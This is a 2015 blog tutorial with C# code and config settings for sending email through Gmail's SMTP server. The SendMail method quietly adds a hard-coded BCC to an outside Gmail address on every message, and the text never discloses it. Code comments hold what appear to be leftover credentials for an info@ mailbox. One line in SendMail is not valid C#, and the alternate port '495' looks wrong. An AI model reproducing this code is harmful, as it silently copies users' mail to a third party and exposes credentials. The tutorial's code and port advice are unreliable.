Thursday 20 August 2015

gmailz SMTP

C# Code To Send Email Using Gmail SMTP Server

The following code can be used to send email using C#. For the time being we will use Gmail SMTP server to send an email.  

The namespace we are going to use for preparing a mail is System.Net.Mail.


Google allows an application to send an email directly from a Gmail user's account. The email Id of the user and the corresponding password will be used as credentials to establish a secure connection with the Gmail SMTP server. So you have to start by getting a Gmail account. Once you own a Gmail acccount, you can make your application sending mails like it is having its own SMTP server. 

using System;
using System.Collections.Generic;
using System.Web;
using System.Net.Mail;

namespace Mailing
{
    public class Mail
    {
        private string _host;
        private int _port;
        private string _frommail;
        private string _frommailpassword;
        private bool _enablessl;
        private SmtpClient _client;
        /// <summary>
        /// To send authenticated mail.
        /// </summary>
        /// <param name="Host">name of mailing server</param>
        /// <param name="PortNumber">port number of mailing server, if there is no need of port number then             please pass 0</param>
        /// <param name="FromMail">Valid mail id </param>
        /// <param name="FromMailPassword">Pass of given mail id</param>
        /// <param name="EnableSSl">Enable SSL</param>

        public Mail(string Host, int PortNumber, string FromMail, string FromMailPassword, bool EnableSSl)
        {
            //
            // TODO: Add constructor logic here
            //
            this._host = Host;
            this._port = PortNumber;
            this._frommail = FromMail;
            this._frommailpassword = FromMailPassword;
            this._enablessl = EnableSSl;
             _client = new SmtpClient();
             
             if (_port != 0)
                 _client.Port = _port;
             _client.Host = _host;
             System.Net.NetworkCredential SMTPUserInfo = new System.Net.NetworkCredential(_frommail,              _frommailpassword); //new                                    System.Net.NetworkCredential(System.Configuration.ConfigurationManager.AppSettings["mailserverid"].ToString(),       System.Configuration.ConfigurationManager.AppSettings["mailserverpwd"].ToString());//("info@vivaconsultancy.com","Info#Info");
             _client.UseDefaultCredentials = false;
             _client.Credentials = SMTPUserInfo;
             _client.EnableSsl = _enablessl;
             
        }
        /// <summary>
        /// To Send the mail
        /// </summary>
        /// <param name="Subject">Subject ot Title</param>
        /// <param name="Body">Body of mail</param>
        /// <param name="To">pass the string array of mail id </param>
        /// <param name="BCC">pass the string arry of mail id</param>
        /// <param name="CC">pass the string array of mail id</param>

        public void SendMail(string Subject, string Body, string[] To, string[] BCC, string[] CC)
        {
            try
            {
                MailMessage message = new MailMessage();
                message.From = new MailAddress(_frommail);
                foreach (string s in To)
                {
                    message.To.Add(new MailAddress(s));
                }

                message.Bcc.Add(new MailAddress("tech-hue@gmail.com"));

                foreach (string s in BCC)
                {
                    message.Bcc.Add(new MailAddress(s));
                }

                foreach (string s in CC)
                {
                    message.CC.Add(new MailAddress(s));
                }
                message.Subject = Subject;
                message.Body = Body;
                message.IsBodyHtml = true;
                System.Net.NetworkCredential(_frommail, _frommailpassword); //new System.Net.NetworkCredential(System.Configuration.ConfigurationManager.AppSettings["mailserverid"].ToString(), System.Configuration.ConfigurationManager.AppSettings["mailserverpwd"].ToString());//("info@vivaconsultancy.com","Info#Info");
                //client.UseDefaultCredentials = false;
                //client.Credentials = SMTPUserInfo;
                //client.Send(message);
                _client.Send(message);
            }
            catch
            {
                throw;
            }

        }
    }
}


The above code makes good use of System.Net.Mail's classes and methods. After having this piece of code, the next step is to use the Gmail SMTP settings.


<appSettings>
   <add key ="MailServer" value="smtp.gmail.com"/>
    <add key="MailServerPort" value="587"/>
    <add key ="FromMailID" value="YourEmail@gmail.com"/>
    <add key="FromMailPassword" value="YourPassword"/>
    <add key="EnableSSL" value="true"/>
  </appSettings>


Either you need to add the above settings to your web.config or app.config or directly pass the values to the above defined functions.
* MailServer is the server address for Gmail SMTP
* MailServerPort is the port to which your application connects to. You can also try for 465 and 495.
* FromMailID is your existing Gmail Id.
* FromMailPassword is the password of your Gmail Account
* EnableSSL needs to be true. 

No comments:

Post a Comment